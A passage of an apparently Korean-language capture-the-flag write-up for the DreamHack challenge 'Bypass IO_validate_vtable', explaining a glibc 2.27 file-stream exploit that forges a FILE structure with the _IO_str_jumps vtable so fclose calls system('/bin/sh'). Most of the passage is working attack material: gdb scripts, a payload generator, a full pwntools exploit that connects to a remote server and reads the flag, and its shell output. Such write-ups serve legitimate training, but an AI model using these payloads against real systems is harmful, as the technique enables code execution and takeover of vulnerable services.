๋๋จธ์ง๋ ์ ๋ถ 0์ผ๋ก ๋ฌ๋ ๋๋ค. _lock(0x88)๊น์ง๋.
_flags ๋ ๋นํธ ์ธ ๊ฐ๊ฐ ์ ๋ถ๋ค.
| ๋นํธ | ์ด๋ฆ | ๊ฐ | ์ |
|---|---|---|---|
0x0001 | _IO_USER_BUF | ๊บผ์ง | ์ผ์ ธ ์์ผ๋ฉด _IO_str_finish ๊ฐ _free_buffer ๋ฅผ ์ ๋ถ๋ฅธ๋ค |
0x2000 | _IO_IS_FILEBUF | ๊บผ์ง | ์ผ์ ธ ์์ผ๋ฉด _IO_un_link ยท _IO_file_close_it ์ฝ์ค๋ก ์๋ค |
0x8000 | _IO_USER_LOCK | ์ผ์ง | ์ผ๋ฉด _lock(0x88) ์ญ์ฐธ์กฐ๋ฅผ ํต์งธ๋ก ๊ฑด๋๋ด๋ค |
0xfbad8000 ์ ์ธ ์กฐ๊ฑด์ ๋ค ๋ง์กฑํ๋ ๊ฐ ์ค ํ๋๋ค.
์์ 0xfbad ๋ ์๋ FILE ์ ๋งค์ง์ด๋ผ ๊ทธ๋๋ก ํ๋ด ๋๋ค.
์ฌ์ค fclose ๊ฒฝ๋ก์์๋ ๋งค์ง์ ์ ๋ณด๋ฏ๋ก 0x8000 ๋ง ๋ฃ์ด๋ ๋์ํ๋ค.
_IO_USER_LOCK ์ ์ผ๋ ๊ฒ ์ต์ง์ค๋ฌ์ด ์กฐํฉ์ธ๊ฐ ์ถ์๋๋ฐ, ์๋์๋ค.
์์ _IO_vsprintf ์บก์ณ์์ lea ๋ฐ๋ก ์์ ์๋ ํธ์ถ์ด _IO_no_init ์ธ๋ฐ,
glibc ์์ค์์ ๊ทธ ํธ์ถ์ ์ด๋ ๊ฒ ์๊ฒผ๋ค.
_IO_no_init (&sf._sbf._f, _IO_USER_LOCK, -1, NULL, NULL);
_IO_JUMPS (&sf._sbf) = &_IO_str_jumps;์ฆ glibc ์์ ์ด ๋ฌธ์์ด ์คํธ๋ฆผ์ ๋ง๋ค ๋ _IO_USER_LOCK ์ ์ผ๊ณ _IO_str_jumps ๋ฅผ ๋ถ์ธ๋ค.
์ฐ๋ฆฌ๊ฐ ์กฐ๋ฆฝํ ์กฐํฉ์ ์ ์ str ์คํธ๋ฆผ์ด ์๋ ๊ฐ๋ ๋ชจ์ ๊ทธ๋๋ก๋ค.
_lock ์ด ํ์ ์๋ ๊ฒ๋ ๊ทธ๋์๋ค โ ์คํ์ ์ ๊น ๋ง๋ค์๋ค ๋ฒ๋ฆฌ๋ ์คํธ๋ฆผ์
๋ฝ์ ๊ฑธ ์ด์ ๊ฐ ์์ผ๋ glibc ๊ฐ ์ฒ์๋ถํฐ ๊ทธ ๊ฒฝ๋ก๋ฅผ ๊บผ ๋ ๊ฒ์ด๋ค.
ํ ๊ทธ๋ฆผ์ผ๋ก ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.

๋ฐํ์์ผ๋ก ํ์ธ
์ ์ ๋ถ์์ด ๋ง์๋์ง๋ ์คํ ์ค์ ๋ด์ผ ํ์คํ๋ค.
fclose+0x69(call *0x10(%r12) ์ง์ )์ ๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ๊ณ ๋ ์ง์คํฐ๋ฅผ ์ฐ์ด ๋ดค๋ค.
๋จผ์ gdb ๋ ASLR ์ ๋๋ libc ์ ์ฌ ์ฃผ์๊ฐ ๊ณ ์ ์ด๋ค. ๊ทธ ๊ฐ์ผ๋ก payload ๋ฅผ ํ์ผ์ ๋ง๋ ๋ค.
#!/usr/bin/env python3
# gdb ๋ก ๊ด์ฐฐํ ๋ ์ธ payload.bin ์ ๋ง๋ ๋ค.
from pwn import p64, p32, p16, p8
import sys
libc = int(sys.argv[1], 0)
SYSTEM, BINSH, IO_STR_JUMPS = 0x4f440, 0x1b3e9a, 0x3e8360
payload = p64(0xfbad8000) # 0x00 _flags
payload += p64(0) * 6 # 0x08 _IO_read_ptr โฆ 0x30 _IO_write_end
payload += p64(libc + BINSH) # 0x38 _IO_buf_base โ _IO_str_finish ์ rdi
payload += p64(0) # 0x40 _IO_buf_end
payload += p64(0) * 4 # 0x48 _IO_save_base โฆ 0x60 _markers
payload += p64(0) # 0x68 _chain
payload += p32(0) + p32(0) # 0x70 _fileno, 0x74 _flags2
payload += p64(0) # 0x78 _old_offset
payload += p16(0) + p8(0) + p8(0) + p32(0) # 0x80 _cur_columnยท_vtable_offsetยท_shortbuf
payload += p64(0) * 7 # 0x88 _lock โฆ 0xb8 __pad5
payload += p32(0) + b'\x00' * 20 # 0xc0 _mode, 0xc4 _unused2[20]
assert len(payload) == 0xd8
payload += p64(libc + IO_STR_JUMPS) # 0xd8 vtable
payload += p64(0) # 0xe0 _s._allocate_buffer
payload += p64(libc + SYSTEM) # 0xe8 _s._free_buffer
payload += b'\x00' * (300 - len(payload))
open('payload.bin', 'wb').write(payload)
print('payload.bin %d bytes (libc=%#x vtable=%#x system=%#x)'
% (len(payload), libc, libc + IO_STR_JUMPS, libc + SYSTEM))libc ๋ฒ ์ด์ค๋ ํ๋ก๊ทธ๋จ์ด ์ค์ค๋ก ์ฐ์ด ์ฃผ๋ ๊ฐ์์ ๊ตฌํ๋ค.
base=$(gdb -q -batch -ex 'run < /dev/null' ./local/bypass_valid_vtable \
| grep -oP 'stdout: \K0x[0-9a-f]+')
python3 gen_payload.py $((base - 0x3ec760))gdb ๋ฐฐ์น ์คํฌ๋ฆฝํธ(gdb_check.gdb)๋ ์ด๋ ๋ค.
set confirm off
set pagination off
# fclose+0x69 = IO_validate_vtable ์ ํต๊ณผํ ์งํ, __finish ๋ฅผ ๋ถ๋ฅด๊ธฐ ์ง์
break *(fclose+0x69)
run < payload.bin
set $libc = (unsigned long)&system - 0x4f440
printf "\n=== IO_validate_vtable ์ด ์ค์ ๋ก ๋น๊ตํ ๊ฐ ===\n"
printf "libc base = %#lx\n", $libc
printf "section length (rax) = %#lx\n", $rax
printf "vtable offset (rcx) = %#lx <- length ๋ณด๋ค ์์์ผ ํต๊ณผ\n", $rcx
printf "vtable (r12) = libc+%#lx\n", $r12 - $libc
printf "\n=== ๊ณง ๋ถ๋ฆด ํจ์์ ๊ทธ ์ธ์ ===\n"
printf "__finish = *(vtable+0x10) = libc+%#lx (_IO_str_finish)\n", *(unsigned long *)($r12 + 0x10) - $libc
printf "fp->_IO_buf_base = libc+%#lx\n", *(unsigned long *)($rbx + 0x38) - $libc
x/s *(char **)($rbx + 0x38)
printf "fp+0xe8 = libc+%#lx\n", *(unsigned long *)($rbx + 0xe8) - $libc
info symbol *(unsigned long *)($rbx + 0xe8)gdb -q -batch -x gdb_check.gdb ./local/bypass_valid_vtable 2>&1 | grep -avE "Loadable section|^ in /home" | cat -s
์ ์ ๋ถ์์์ ๊ณ์ฐํ ๊ฐ์ด ์คํ ์ค ๋ ์ง์คํฐ๋ก ์ ๋ถ ํ์ธ๋๋ค.
section length (rax) = 0xd68โ objdump ์์lea๋ ๊ฐ๋ก ์ฝ์ ๊ฐ ๊ทธ๋๋กvtable offset (rcx) = 0xc00โ0xd68๋ฏธ๋ง์ด๋ผjbe๋ฅผ ์ ํ๋ค__finish = libc+0x90300โ ์คํฌ๋ฆฝํธ๊ฐ ์ฐพ์_IO_str_finishx/s๊ฒฐ๊ณผ๊ฐ"/bin/sh",fp+0xe8์ gdb ๊ฐsystem์ผ๋ก ํด์
์ด ์์ ์์ call *0x10(%r12) ํ ์ค๋ง ๋จ์๋ค.
โถ๐ณ๏ธ ์ฝ์ง 2 โ ๋ก์ปฌ์ ๋๋๋ฐ ์๊ฒฉ๋ง 0๋ฐ์ดํธ๋ก ๋๋ฌ๋ค
์ต์ค๋ ์์ฑ๋๊ณ ๋ก์ปฌ์์ ์ ธ๊น์ง ์ก์๋๋ฐ, ๋ฐฐํฌ Dockerfile ๊ทธ๋๋ก ๋์ด socat ์ปจํ ์ด๋์ ๋ถ์ด๋ ์๋ฌด ์๋ต๋ ์ ์๋ค. ๋ฐ์ ๋ฐ์ดํธ ์ 0.
ํฌ๋์์ธ์ง, ์
ธ์ ๋ด๋๋ฐ ์ถ๋ ฅ์ด ์ ์ค๋ ๊ฑด์ง ๊ตฌ๋ถ์ด ์ ๋๋ค.
Fatal error ๊ฐ์ ๋ฉ์์ง๋ผ๋ ์์ผ๋ฉด ์ข์์ ํ
๋ฐ ๊ทธ๊ฒ๋ ์์๋ค.
์์ธ์ ์ต์ค๊ฐ ์๋๋ผ TCP ์๋ค. ๋ฐฐํฌ CMD ๋ฅผ ๋ณด๋ฉด ์ด๋ ๋ค.
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; donesocat ์ด ์์ผ์ ํ๋ก์ธ์ค์ stdin ์ ๊ทธ๋๋ก ๋ฌผ๋ฆฐ๋ค.
๊ทธ๋ฌ๋ read(0, fp, 300) ์ ์์ผ์์ ์ฝ๋๋ค.
๋ด๊ฐ ๋ณด๋ธ ๊ฑด 240๋ฐ์ดํธ ํ์ด๋ก๋ + ๊ณง์ด์ด ๋ณด๋ธ id\n ์ด์๋ค.
๋์ด ๋ถ์ด์ ํ ์ธ๊ทธ๋จผํธ๋ก ๋์ฐฉํ๋ฉด read ๋ ์ต๋ 300๊น์ง ์ฝ์ผ๋ฏ๋ก
์
ธ์ ์ค ๋ช
๋ น๊น์ง ๊ฐ์ด ๋จน์ด ๋ฒ๋ฆฐ๋ค. FILE ์ ์ ์์ ์ผ๋ก ๋ฎ์ด๊ณ ์
ธ๋ ์ ์์ ์ผ๋ก ๋ฌ๋ค.
๊ทธ๋ฐ๋ฐ ๊ทธ ์
ธ์ด ์ฝ์ ๊ฒ ์๋ฌด๊ฒ๋ ์์ด์ ๊ทธ๋ฅ ๋๊ธฐํ๋ค. ๊ทธ๋ฌ๋ค ์ฐ๊ฒฐ์ด ๋ซํ๋ฉด ์กฐ์ฉํ ๋๋๋ค.
๋ก์ปฌ์์ process() ๋ก ๋๋ฆด ๋ ํ์ดํ ํ์ด๋ฐ์ด ๋ฌ๋ผ ์ฐ์ฐํ ๋๋์ด์ ์ฑ๊ณตํ๋ค.
"๋ก์ปฌ์ ๋๋๋ฐ ์๊ฒฉ๋ง ์ ๋๋ค"์ ์ ์ฒด๊ฐ ์ต์ค ๋ก์ง์ด ์๋๋ผ ์ด๊ฑฐ์๋ค.
์ฌํํด ๋ณด๋ฉด ๋ช ํํ๋ค.
#!/usr/bin/env python3
# ์ฝ์ง ์ฌํ โ ํ์ด๋ก๋๋ฅผ 0xf0(240)๋ฐ์ดํธ๋ง ๋ณด๋ด๊ณ ๊ณง๋ฐ๋ก ์
ธ ๋ช
๋ น์ ๋ถ์ฌ ๋ณด๋ธ๋ค.
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'warn'
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
p = remote(HOST, PORT)
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - 0x3ec760
payload = p64(0xfbad8000)
payload += p64(0) * 6
payload += p64(libc + 0x1b3e9a) # _IO_buf_base = "/bin/sh"
payload += b'\x00' * (0xd8 - len(payload))
payload += p64(libc + 0x3e8360) # vtable = _IO_str_jumps
payload += p64(0)
payload += p64(libc + 0x4f440) # +0xe8 = system
print('[*] libc=%#x payload=%d bytes (300 ์ผ๋ก ์ ์ฑ์)' % (libc, len(payload)))
p.recvuntil(b'Data: ')
p.send(payload)
p.sendline(b'id') # โ ์ด๊ฒ ๊ฐ์ ์ธ๊ทธ๋จผํธ์ ์ค๋ ค read ์ ๋จนํ๋ค
out = p.recvall(timeout=5)
print('[*] ์
ธ์์ ๋ฐ์ ๋ฐ์ดํธ ์ =', len(out))
print('[*] ๋ฐ์ ๋ด์ฉ =', out)
p.close()
ํด๊ฒฐ์ ๊ฐ๋จํ๋ค. ํ์ด๋ก๋๋ฅผ ์ ํํ 300๋ฐ์ดํธ๋ก ์ฑ์ด๋ค.
read ๊ฐ 300์ ๋ค ๋จน๊ณ ๋ฐํํ๋ฏ๋ก ๋ค์ด์ด ๋ณด๋ธ ๋ช
๋ น์ ์์ผ ๋ฒํผ์ ๋จ์ ์
ธ ๋ชซ์ด ๋๋ค.
payload += b'\x00' * (300 - len(payload))๋์น๋ 0xf0~0x12b ๊ตฌ๊ฐ์ ํ ์ฒญํฌ ์์ด๋ผ ์์ ํ๋ค.
fopen ์ด ์ก๋ struct locked_FILE ์ _IO_FILE_plus(0xe0) ๋ค์
๋ฝ๊ณผ _IO_wide_data ๊ฐ ๋ ๋ถ์ด 0x1d0 ์ ๋๋๋ค. 300๋ฐ์ดํธ๋ ๊ทธ ์์์ ๋๋๋ค.
์ฌ๊ธฐ์ time.sleep(0.3) ์ ํ๋ ๋ ๋ฃ์๋ค. ์์ด๋ ๋์ง๋ง,
๋๋ฆฐ ๋งํฌ์์ 300๋ฐ์ดํธ๊ฐ ๋ ์ธ๊ทธ๋จผํธ๋ก ์ชผ๊ฐ์ง๋ ๊ฒฝ์ฐ๊น์ง ์๊ฐํ๋ฉด ์๋ ๊ฒ ๋ซ๋ค.
๐ Full Exploit
์ค์ ๋ก flag ๋ฅผ ๋ฝ์ ์คํฌ๋ฆฝํธ ์ ๋ฌธ์ด๋ค.
#!/usr/bin/env python3
# Bypass IO_validate_vtable (DreamHack, Gold 3, pwnable / id 365)
#
# read(0, fp, 300) ์ผ๋ก /dev/urandom ์ FILE ๊ตฌ์กฐ์ฒด๋ฅผ ํต์งธ๋ก ๋ฎ์ ๋ค fclose(fp) ๊ฐ ํธ์ถ๋๋ค.
# ๋์์ Ubuntu 18.04 = glibc 2.27 ์ด๋ผ vtable ์ ์๋ฌด ์ฃผ์๋ก๋ ๋๋ฆฌ๋ฉด
# fclose ์์ ์ธ๋ผ์ธ๋ IO_validate_vtable ์ด __libc_IO_vtables ์น์
๋ฐ์ด๋ผ๋ฉฐ abort ํ๋ค.
# ๊ทธ๋์ "์น์
์์ ์๋ ์ง์ง vtable" ์ธ _IO_str_jumps ๋ฅผ ๊ทธ๋๋ก ์ฌ์ฌ์ฉํ๊ณ ,
# ๊ฑฐ๊ธฐ์ ๋ถ๋ฆฌ๋ _IO_str_finish ๊ฐ FILE+0xe8 ์ ํจ์ ํฌ์ธํฐ๋ก ํธ์ถํ๋ค๋ ์ ์ ์ด๋ค.
#
# _IO_str_finish(fp):
# rdi = fp->_IO_buf_base (FILE+0x38)
# if (rdi && !(fp->_flags & 1)) (_IO_USER_BUF)
# call *(fp+0xe8) (_IO_strfile._s._free_buffer)
#
# โ _IO_buf_base = "/bin/sh", FILE+0xe8 = system ์ด๋ฉด system("/bin/sh").
#
# ์ฌ์ฉ๋ฒ:
# python3 solve.py # ๋ก์ปฌ (localhost:7182, docker)
# python3 solve.py <host> <port> # ์๊ฒฉ
from pwn import *
import sys, time
context.arch = 'amd64'
context.log_level = 'info'
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
# โโ glibc 2.27-3ubuntu1 (Ubuntu 18.04) ์คํ์
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
IO_2_1_stdout_ = 0x3ec760 # printf("%p", stdout) ๋ก ์๋ ๊ฐ
SYSTEM = 0x04f440
BINSH = 0x1b3e9a
IO_STR_JUMPS = 0x3e8360 # __libc_IO_vtables(0x3e7760~0x3e84c8) ์ โ ๊ฒ์ฆ ํต๊ณผ
# โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
p = remote(HOST, PORT)
# 1) libc base ์ ์ถ โ ๋ฐ์ด๋๋ฆฌ๊ฐ ์น์ ํ stdout ํฌ์ธํฐ๋ฅผ ์ฐ์ด ์ค๋ค
p.recvuntil(b'stdout: ')
leak = int(p.recvline().strip(), 16)
libc = leak - IO_2_1_stdout_
log.success('leak _IO_2_1_stdout_ = %#x' % leak)
log.success('libc base = %#x' % libc)
assert libc & 0xfff == 0, 'libc base ๊ฐ ํ์ด์ง ์ ๋ ฌ์ด ์๋๋ค โ ์คํ์
ํ์ธ ํ์'
system = libc + SYSTEM
binsh = libc + BINSH
str_jmp = libc + IO_STR_JUMPS
log.info('system=%#x /bin/sh=%#x _IO_str_jumps=%#x' % (system, binsh, str_jmp))
# 2) ๊ฐ์ง _IO_strfile ์กฐ๋ฆฝ
# _flags ๋ ์ธ ๋นํธ๊ฐ ์ ๋ถ๋ค:
# _IO_USER_BUF (0x0001) โ 0 ์ด์ด์ผ _IO_str_finish ๊ฐ _free_buffer ๋ฅผ ๋ถ๋ฅธ๋ค
# _IO_IS_FILEBUF (0x2000) โ 0 ์ด์ด์ผ fclose ๊ฐ _IO_un_link/_IO_file_close_it ๋ฅผ ๊ฑด๋๋ด๋ค
# _IO_USER_LOCK (0x8000) โ 1 ์ด๋ฉด fclose ๊ฐ _lock(0x88) ์ญ์ฐธ์กฐ๋ฅผ ํต์งธ๋ก ๊ฑด๋๋ด๋ค
flags = 0xfbad8000
payload = p64(flags) # 0x00 _flags
payload += p64(0) * 6 # 0x08 _IO_read_ptr โฆ 0x30 _IO_write_end
payload += p64(binsh) # 0x38 _IO_buf_base โ _IO_str_finish ์ ์ธ์(rdi)
payload += p64(0) # 0x40 _IO_buf_end
payload += p64(0) * 4 # 0x48 _IO_save_base โฆ 0x60 _markers
payload += p64(0) # 0x68 _chain
payload += p32(0) # 0x70 _fileno
payload += p32(0) # 0x74 _flags2
payload += p64(0) # 0x78 _old_offset
payload += p16(0) # 0x80 _cur_column
payload += p8(0) # 0x82 _vtable_offset
payload += p8(0) # 0x83 _shortbuf[1]
payload += p32(0) # 0x84 (padding)
payload += p64(0) # 0x88 _lock โ _IO_USER_LOCK ๋์ ์ ์ฐ์ธ๋ค
payload += p64(0) # 0x90 _offset
payload += p64(0) # 0x98 _codecvt
payload += p64(0) # 0xa0 _wide_data
payload += p64(0) # 0xa8 _freeres_list
payload += p64(0) # 0xb0 _freeres_buf
payload += p64(0) # 0xb8 __pad5
payload += p32(0) # 0xc0 _mode
payload += b'\x00' * 20 # 0xc4 _unused2[20]
assert len(payload) == 0xd8, hex(len(payload))
payload += p64(str_jmp) # 0xd8 vtable โ IO_validate_vtable ํต๊ณผ
payload += p64(0) # 0xe0 _s._allocate_buffer
payload += p64(system) # 0xe8 _s._free_buffer โ ์ค์ ๋ก ๋ถ๋ฆฌ๋ ์นธ
assert len(payload) == 0xf0, hex(len(payload))
# read(0, fp, 300) ์ด ์ ํํ 300๋ฐ์ดํธ๋ฅผ ๋จน๊ฒ ์ฑ์ด๋ค.
# ์ ์ฑ์ฐ๋ฉด ๋ค์ด์ด ๋ณด๋ผ ์
ธ ๋ช
๋ น์ด ๊ฐ์ TCP ์ธ๊ทธ๋จผํธ์ ์ค๋ ค read ์ ๊ฐ์ด ๋นจ๋ ค ๋ค์ด๊ฐ๊ณ ,
# ์
ธ์ ์ฝ์ ๊ฒ ์์ด ๊ทธ๋๋ก ๋ฉ์ถ๋ค(=์๋ฌด ์ถ๋ ฅ๋ ์๋ ์คํจ๋ก ๋ณด์ธ๋ค).
payload += b'\x00' * (300 - len(payload))
assert len(payload) == 300
p.recvuntil(b'Data: ')
p.send(payload)
time.sleep(0.3)
# 3) system("/bin/sh") ๋ก ๋จ์ด์ง ์
ธ
p.sendline(b'id; cat /home/bypass_valid_vtable/flag; cat flag')
try:
print(p.recvall(timeout=5).decode(errors='replace'))
except EOFError:
pass
p.close()๋ก์ปฌ ์ปจํ
์ด๋์ ๋จผ์ ๋๋ ค ๋ดค๋ค. ๋ฐฐํฌ๋ณธ์ flag ํ์ผ์ DH{**flag**} ๋ผ๋ ๋๋ฏธ๋ผ
์ฌ๊ธฐ์ ๋์ค๋ ๊ฑด ์ง์ง flag ๊ฐ ์๋์ง๋ง, uid ์ค์ด ์ค๋ฉด ์
ธ์ ํ์คํ ์กํ ๊ฒ์ด๋ค.
python3 solve.py localhost 7182
๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ผ์ด๋ธ ์๋ฒ ์ฃผ์๋ก ๋๋ฆฌ๋ฉด ์ง์ง flag ๊ฐ ๋์จ๋ค.
python3 solve.py host3.dreamhack.games 10477
uid=1000(bypass_valid_vtable) gid=1000(bypass_valid_vtable) groups=1000(bypass_valid_vtable)
DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}๐งช ์ฌํํ๊ธฐ
์ฃผ์๊ฐ ํ๋์ฝ๋ฉ๋ผ ์์ด์ "๋ด ํ๊ฒฝ์์ ์ด๋ป๊ฒ ํ๋" ๊ฐ ๋ฐ๋ก ๊ฑธ๋ฆฐ๋ค. ๊ทธ๋์ ๋ก์ปฌ ์ฌํ ๋ฐฉ๋ฒ์ ๊ฐ์ด ์ ๋ฆฌํด ๋๋ค.
1. ๋ฌธ์ ์๋ฒ ๊ทธ๋๋ก ๋์ฐ๊ธฐ
๋ฐฐํฌ๋ณธ์ Dockerfile ์ด ๋ค์ด ์์ผ๋ ๊ทธ๋๋ก ์ฐ๋ฉด ๋๋ค.
cd extracted
docker build -t bypass-iovt:local .
docker run -d --name bypass-iovt-test -p 127.0.0.1:7182:7182 bypass-iovt:localํฌํธ 7182 ๋ Dockerfile ์ ENV chall_port ๊ฐ์ด๋ค.
๋ฐ์ด๋๋ฆฌ ๋น๋ ๋ช
๋ น์ ์์ค ์ฒซ ์ค ์ฃผ์์ ๊ทธ๋๋ก ์ ํ ์๋ค.
gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie2. gdb ๋ก ๋ฏ์ด๋ณด๋ ค๋ฉด โ ํธ์คํธ์์ glibc 2.27 ๋ก ์คํ
๋๋ฒ๊น
์ ์ปจํ
์ด๋ ์๋ณด๋ค ํธ์คํธ์์ ํ๋ ๊ฒ ํธํ๋ค.
๋ฐฐํฌ๋ libc.so.6 ๋ง์ผ๋ก๋ ์ ๋๊ณ ์ง์ด ๋ง๋ ๋ก๋๊ฐ ํ์ํ๋ค.
์ด๋ฏธ์ง์์ ๊บผ๋ด ์ค๋ฉด ๋๋ค.
mkdir -p local
cid=$(docker create bypass-iovt:local)
docker cp "$cid:/lib/x86_64-linux-gnu/ld-2.27.so" local/ld-2.27.so
docker rm "$cid"
cp extracted/libc.so.6 extracted/bypass_valid_vtable local/
chmod +x local/bypass_valid_vtable local/libc.so.6
patchelf --set-interpreter "$PWD/local/ld-2.27.so" --set-rpath "$PWD/local" \
local/bypass_valid_vtableldd local/bypass_valid_vtable ์ด local/libc.so.6 ๋ฅผ ๊ฐ๋ฆฌํค๋ฉด ์ฑ๊ณต์ด๋ค.
์ด ์ํ๋ฉด ์์์ ์ด gdb_check.gdb ๊ฐ ๊ทธ๋๋ก ๋๋ค.
ํ ๊ฐ์ง ์ฑ๊ฐ์ ์ . patchelf ๋ก ์น์
์ ์ฎ๊ธฐ๋ฉด gdb ๊ฐ ๋งค๋ฒ
warning: Loadable section ".dynsym" outside of ELF segments ๋ฅผ ์ฌ๋ฌ ์ค ๋ฑ๋๋ค.
์น์
๋ง๋ค ๋ ์ค์ฉ, ์ค์ธก 1203 ๋ฐ์ดํธ๋ค. gdb ์ค์ ์ผ๋ก๋ ๋ชป ๋๋ค.
๋์์๋ ์ํฅ์ด ์์ผ๋ 2>&1 | grep -avE "Loadable section|^ in /home" | cat -s ๋ก
๊ทธ ์ค๋ง ๊ฑท์ด๋๋ค. -a ๋ ๋ณดํ์ด๋ค. ์ด ํ๊ฒฝ์์๋ ์์ด๋ ๊ฒฐ๊ณผ๊ฐ ๊ฐ์์ง๋ง, gdb ๊ฐ
x/s ๋ก ๋ฑ๋ ๋ฐ์ดํธ์ ๋น UTF-8 ์ด ์์ด๋ฉด grep ์ด ์คํธ๋ฆผ์ ๋ฐ์ด๋๋ฆฌ๋ก ํ์ ํ๊ณ
๋ค์ชฝ ์ถ๋ ฅ์ ํต์งธ๋ก ์ผ์ผ ๋ฒ๋ฆฐ๋ค.
3. ์คํ์ ์ ์๊ธฐ libc ์์ ๋ค์ ๊ตฌํ๋ ค๋ฉด
libc ๊ฐ ๋ค๋ฅด๋ฉด ์ด ๊ธ์ ์ซ์๋ ์ ๋ถ ํ๋ฆฐ๋ค. ๋ค์ ๊ตฌํ๋ ๋ฐฉ๋ฒ์ ์ด๋ ๋ค.
| ๊ฐ | ๊ตฌํ๋ ๋ฒ |
|---|---|
_IO_2_1_stdout_ | readelf -s libc.so.6 | grep _IO_2_1_stdout_ (export ๋จ) |
system | ๊ฐ์ ๋ฐฉ๋ฒ |
/bin/sh | strings -a -t x libc.so.6 | grep '/bin/sh' |
__libc_IO_vtables ๋ฒ์ | readelf -S libc.so.6 | grep -A1 __libc_IO_vtables |
_IO_str_jumps | ์์ find_str_jumps.py (์ฌ๋ณผ์ด ์์ด ์ค์บ์ด ํ์) |
fclose ์์ ๊ฒ์ฌ ์์น(fclose+0x69)๋ ๋ฒ์ ๋ง๋ค ๋ค๋ฅด๋ค.
objdump -d ๋ก lea ๋ ๊ฐ์ call *0x10(%r12) ๋ฅผ ์ฐพ์ ๋ค์ ์ก์ผ๋ฉด ๋๋ค.
4. ํ ๋ฐฉ์ ํ์ธ
์ ๊ณผ์ ์ ๋ฌถ์ ์คํฌ๋ฆฝํธ๋ฅผ ์์ ํด๋์ ๊ฐ์ด ๋๋ค.
./reproduce.sh # ๋ก์ปฌ ๋์ปค โ ์
ธ ํ๋๊น์ง ํ์ธ
./reproduce.sh <host> <port> # ๋ผ์ด๋ธ โ ์ง์ง flag ๋์กฐ๋ก์ปฌ ๋ชจ๋๊ฐ flag ๋ฅผ ๋์กฐํ์ง ์๋ ๊ฑด ๋ฐฐํฌ๋ณธ flag ๊ฐ ๋๋ฏธ๋ผ์๋ค.
๋๋ฏธ๋ฅผ ์ง์ง์ธ ์ฒ ํต๊ณผ์ํค๋ฉด ์ฌํ ์คํฌ๋ฆฝํธ ์์ฒด๋ฅผ ๋ชป ๋ฏฟ๊ฒ ๋๋ค.
๊ทธ๋์ ๋ก์ปฌ์ uid=...(bypass_valid_vtable) ์ค์ด ์ค๋์ง๋ก๋ง ํ์ ํ๋ค.
| ํ๋ฉด์ ์ด๊ฒ ๋จ๋ฉด | ์ํ |
|---|---|
uid=1000(bypass_valid_vtable) | ์ ธ ํ๋ ์ฑ๊ณต |
| ์ถ๋ ฅ 0๋ฐ์ดํธ | 300๋ฐ์ดํธ ํจ๋ฉ์ ๋นผ๋จน์์ ๊ฐ๋ฅ์ฑ์ด ํฌ๋ค |
Fatal error: glibc detected an invalid stdio handle | vtable ์ฃผ์๊ฐ ์น์ ๋ฐ์ด๋ค |
Segmentation fault | _flags ๋นํธ๊ฐ ํ๋ ค _lock ๋๋ _chain ์ ๋ฐ์๋ค |
๐ ๊ฒฐ๋ก
๋ง๋ ์ชฝ์ด "์์น"๋ฅผ ๊ฒ์ฌํ๋ฉด, ๊ณต๊ฒฉ์ "๋ด์ฉ"์ ํฌ๊ธฐํ๊ณ ์์น๋ฅผ ๋ง์ถ๋ค
2.24 ์ ๋์์ ํฉ๋ฆฌ์ ์ด๋ค. vtable ํฌ์ธํฐ๊ฐ libc ์ ์ ์ ํ ์ด๋ธ ์์ญ์ ๋ฒ์ด๋๋ ๊ฑด ์ด๋ค ์ ์ ๋์์ผ๋ก๋ ์ค๋ช ์ด ์ ๋๋, ๊ทธ๊ฒ๋ง ๊ฑธ๋ฌ๋ ์์ ํจ์ ํฌ์ธํฐ ํธ์ถ์ ์ฌ๋ผ์ง๋ค.
๋ค๋ง ๊ทธ ๊ฒ์ฌ๋ "์น์ ์์ด๋"๋ง ๋ณธ๋ค. ์น์ ์์ ์๋ ํ ์ด๋ธ๋ค ์ฌ์ด์์ ์ด๋ ์คํธ๋ฆผ ์ข ๋ฅ์ ์ด๋ vtable ์ด ๋ถ์ด์ผ ํ๋๊ฐ๋ ๋ณด์ง ์๋๋ค. ํ์ผ ์คํธ๋ฆผ์ ๋ฌธ์์ด ์คํธ๋ฆผ์ฉ vtable ์ด ๋ฌ๋ ค ์์ด๋ ํต๊ณผ๋ค.
๊ทธ๋ฆฌ๊ณ _IO_str_jumps ๋ ํํ ๊ตฌ์กฐ์ฒด ๋ท๋ถ๋ถ์ ํจ์ ํฌ์ธํฐ๋ก ์ฐ๋ vtable ์ด๋ค.
FILE ์ ํต์งธ๋ก ๋ฎ์ ์ ์๋ ์ํฉ์ด๋ผ๋ฉด ๊ทธ ์นธ๋ ๋น์ฐํ ์ฐ๋ฆฌ ๊ฒ์ด๋ค.
๋งํ ๊ฑด ์์ ์ฃผ์ ์ ํ์๊ณ , ๋จ์ ๊ฑด libc ๊ฐ ์๋ ์ ๊ณตํ๋ ๊ฐ์ ํธ์ถ์ด์๋ค.
๊ณต๊ฒฉ ํ๋ฉด์ ํจ์๊ฐ ์๋๋ผ ๊ตฌ์กฐ์ฒด๋ค
์ด ๋ฌธ์ ์์ ์ค์ ๋ก ํธ์ถ๋๋ libc ํจ์๋ fclose ํ๋๋ค.
๊ทธ๋ฐ๋ฐ ๊ทธ ํ ๋ฒ์ ํธ์ถ์ด _flags ์ฌ๋ฌ ๋นํธ, _lock, vtable, _IO_buf_base,
๊ทธ๋ฆฌ๊ณ ๊ตฌ์กฐ์ฒด ๋ฒ์๋ฅผ ๋์ด์ +0xe8 ๊น์ง ์ฝ๋๋ค.
